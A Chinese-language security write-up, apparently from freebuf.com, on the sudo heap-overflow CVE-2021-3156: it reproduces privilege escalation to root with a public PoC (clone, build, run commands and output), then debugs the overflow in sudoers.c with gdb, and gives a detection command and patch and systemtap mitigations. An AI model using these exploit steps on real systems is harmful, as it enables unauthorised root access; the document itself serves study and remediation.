0x00前言
好几周前 Linux 有个 sudo 漏洞爆出来了 编号 CVE-2021-3156这个漏洞能让低权限用户(甚至没有在 sudoers 文件里)直接提权到 root
漏洞影响版本:lsudo 1.8.2-1.8.31p2lsudo 1.9.0-1.9.5p1 稳定版
0x01 漏洞复现
复现环境为 Ubuntu 18.04.5 (Bionic) LTS首先创建一个低权限用户用于测试 PoC:
useradd doge
然后切换到用户 doge,确认其权限:
su doge whoami # doge sudo apt install git # doge不在sudoers文件中。此事件将被报告
确认过权限后,我们开始构建漏洞 PoC,这里使用的是 https://github.com/blasty/CVE-2021-3156
git clone https://github.com/blasty/CVE-2021-3156.git
cd CVE-2021-3156
make
啪的一下就构建完了,很快啊它会生成一个 sudo-hax-me-a-sandwich 程序,直接运行它
./sudo-hax-me-a-sandwich #** CVE-2021-3156 PoC by blasty # # usage: ./sudo-hax-me-a-sandwich # # available targets: # ------------------------------------------------------------ # 0) Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 # 1) Ubuntu 20.04.1 (Focal Fossa) - sudo 1.8.31, libc-2.31 # 2) Debian 10.0 (Buster) - sudo 1.8.27, libc-2.28 # ------------------------------------------------------------ # # manual mode: # ./sudo-hax-me-a-sandwich
很巧啊 ,我们的测试环境正好和它对上了,咱直接开干
./sudo-hax-me-a-sandwich 0 # ** CVE-2021-3156 PoC by blasty # # using target: Ubuntu 18.04.5 (Bionic Beaver) - sudo 1.8.21, libc-2.27 ['/usr/bin/sudoedit'](56, 54, 63, 212) # ** pray for your rootshell.. ** # [+] bl1ng bl1ng! We got it! whoami # root
这样下来,我们就拿到了一个 root shell看来咱pray还是有效的,不如每次拿shell之前心里默念大悲咒(?)
0x02 漏洞分析
啪的一下,咱就装个 cgdb
sudo apt install cgdb
为什么不用 gdb?因为 cgdb 提供两个界面:一个代码界面,一个 gdb 命令行
众所周知,gdb看代码需要list指令,有时候它显示不到我们需要的代码,还需要再带上行数而cgdb就能直接上下翻,还能直接在代码上下断点,灰常滴方便我们要分析的sudo版本为1.9.5p1,最后一个有漏洞的版本为了能方便的看代码,我们要把它重新编译一下
wget https://github.com/sudo-project/sudo/archive/SUDO_1_9_5p1.tar.gz tar xf SUDO_1_9_5p1.tar.gz cd sudo-SUDO_1_9_5p1 mkdir build cd build ../configure --enable-env-debug make -j sudo make install
完成之后,我们开始调试
sudo cgdb --args sudoedit -s '\' 1145141919810 # 一定要以root权限调试!
网上一些分析文章说漏洞代码是动态加载,要先把程序弄崩,直接下断下不到因此在下断前,还有一些文章会先传 65536 个字符把进程搞崩 (此时漏洞代码已加载),然后再下断动态加载确实不错,但下不了断就是你的不对了
gdb 有个功能,看演示 漏洞代码位于 plugins/sudoers/sudoers.c,我们断到第 964 行
(gdb) b ../../../plugins/sudoers/sudoers.c:964 No source file named ../../../plugins/sudoers/sudoers.c. Make breakpoint pending on future shared library load? (y or [n]) y Breakpoint 1 (../../../plugins/sudoers/sudoers.c:964) pending. (gdb) #注意,我现在位置一直是在build文件夹没变,这种相对路径要注意当前位置
如果我们下断的库并没有被加载,gdb 会把这个断点保留,直到这个库文件被加载后断点才会生效执行 r 把程序跑起来,gdb 会断在 sudoers.c:964 这里,放一段代码:
/* set user_args */ if (NewArgc > 1) { char *to, *from, **av; size_t size, n; /* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR); } if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { //**gdb断在此处** /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces * for sudoers matching and logging purposes. */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; } *--to = '\0'; }
我们实际传入的参数有四个:”sudoedit”,”-s”,”\”,”1145141919810″,在前面的代码中 “-s” 已经被去除,留下了三个参数赋值到 NewArgv
在断点前面有一个 for 循环,它把 NewArgv [1] 和 NewArgv [2] 计算出长度来,并使用 malloc () 申请了一片内存用于变量 user_args
/* Alloc and build up user_args. */ for (size = 0, av = NewArgv + 1; *av; av++) size += strlen(*av) + 1; if (size == 0 || (user_args = malloc(size)) == NULL) { sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR); }
这里我们记录下它所申请的内存大小 (即变量 size 的值):
(gdb) p size $1 = 16
然后我们看看 NewArgv,它是去掉 “-s” 后过来的一个数组
(gdb) p NewArgv $2 = (char **) 0x55c42f87f708
一个 char 占 1 字节,”sudoedit” 作为一个 char 数组的成员占 8 字节,同时数组成员后面还有 0x00 占一字节,一共是 9 字节。9 字节再加上 16 字节即为 user_args 所在内存
(gdb) p NewArgv+25 $3 = (char **) 0x55c42f87f7d0
我们看一下那里的内存
(gdb) x/8xg 0x55c42f87f7d0 0x55c42f87f7d0: 0x00007f041be3fca0 0x00007f041be3fca0 0x55c42f87f7e0: 0x0000000000000000 0x0000000000000c21 0x55c42f87f7f0: 0x00007f041be3fca0 0x00007f041be3fca0 0x55c42f87f800: 0x0000000000000000 0x0000000000000000
接着看代码,有一个 for 循环用于将 NewArgv [1] 和 NewArgv [2] 存入
user_args for (to = user_args, av = NewArgv + 1; (from = *av); av++) { while (*from) { //注意if判断 if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++; *to++ = *from++; } *to++ = ' '; }
首先看 for,将 NewArgv 的第 2 个数组成员 (赋值到 av)(第一个数组成员为 “sudoedit”) 赋值到 from 参数后进入了一个 while 循环读数据,若 from 为 0 (C 语言在每一个数组成员的后面都会加个 0x0 用于分隔,from 为 0 即代表读取完一个数组成员) 则 for 便继续下一轮循环
为什么要注意那个 if 判断呢?我们看看它干了什么:
if (from[0] == '\\' && !isspace((unsigned char)from[1])) from++;
若 from [0] 为 \(代码中两个斜杠为转义后) 且 from [1] 为 0x00,就把 from+1这问题就大了,朋友们
我们看看from+1之后是什么
(gdb) p NewArgv[1] $4 = 0x7ffec3f74315 "\\" (gdb) x/20xb 0x7ffec3f74315 0x7ffec3f74315: 0x5c 0x00 0x31 0x31 0x34 0x35 0x31 0x34 0x7ffec3f7431d: 0x31 0x39 0x31 0x39 0x38 0x31 0x30 0x00 0x7ffec3f74325: 0x43 0x4c 0x55 0x54
斜杠 (0x5c) 自己占一个数组成员,之后是数组成员的分隔符 (0x00),正好符合判断,from+1 后便来到了 NewArgv [2] 的开头,while 循环便开始读 NewArgv [2] 的数据,看上去没什么毛病?
注意辣 虽然while这里自己把from+1读了NewArgv[2],但它上面for循环的av还停留在NewArgv[1]的位置。while循环退出后,for循环会将av指向NewArgv[2],再读一次。这样NewArgv[2]就被读了两次。给user_args分配的内存是多大(即size的值)来着?
(gdb) p size $1 = 16
16 字节 那 NewArgv [2] 被读了两次,实际写入的数据为多少哪?我们在第 978 行 (for 循环的下一条指令) 下断,把程序跑起来
(gdb) b ../../../plugins/sudoers/sudoers.c:978 Breakpoint 2 at 0x7ff42c055f01: file ../../../plugins/sudoers/sudoers.c, line 978. (gdb) c Continuing. Breakpoint 2, set_cmnd () at ../../../plugins/sudoers/sudoers.c:978
到这里 for 循环完成了,我们看一下实际写入的数据为多少:
(gdb) p to $5 = 0x5572bbba57ec " " (gdb) p 0x5572bbba57ec-0x5572bbba57d0 $6 = 28 (gdb) #我虚拟机中途重启过一次,因此内存 (gdb) #地址有变动。在系统未重启的情况下 (gdb) #0x5572bbba57d0这个地址应为上面 (gdb) #计算出的user_args的地址 (gdb) #(即0x55c42f87f7d0)
实际写入的内存为 28 字节,而 user_args 只有 16 字节的内存啪,堆溢出
此时下一堆块已被修改
(gdb) x/8xg 0x5572bbba57d0 0x5572bbba57d0: 0x3134313534313100 0x3120303138393139 0x5572bbba57e0: 0x3139313431353431 0x0000002030313839 0x5572bbba57f0: 0x00007ff42daabca0 0x00007ff42daabca0 0x5572bbba5800: 0x0000000000000000 0x0000000000000000
sudo 作为一个系统程序自然有高权限这么一溢出 诶 就能以 root 执行任意代码了
0x03 漏洞判断/修复
那我怎么知道自己系统有没有这个漏洞呢打开终端 输入下面的指令 干就完了
sudoedit -s /
如果出来的信息不是以 usage: 开头,诶 那就有漏洞了
漏洞发布至今已经有好几周的时间了,各大Linux发行版应该也发布了对应补丁,所以你应该能用apt修补这个漏洞
sudo apt update sudo apt upgrade #或sudo apt install sudo
如果你的 Linux 并没有发布补丁 (或暂时没有时间更新),可以用下面的方法:
#现在应该只有CentOS没有补丁,这段shell是针对CentOS编写 yum install systemtap yum-utils kernel-devel-"$(uname -r)" vim sudoedit.stap # 写入以下内容: # probe process("/usr/bin/sudo").function("main") { # command = cmdline_args(0,0,""); # if (strpos(command, "edit") >= 0) { # raise(9); # } # } nohup stap -g sudoedit.stap & # 注意,上述措施会在重启后失效 # 如果安装了补丁程序,可以用以下办法撤销临时措施: kill -s SIGTERM systemtap进程PID
来源:freebuf.com 2021-03-27 11:04:17 by: 天禧信安385
请登录后发表评论
注册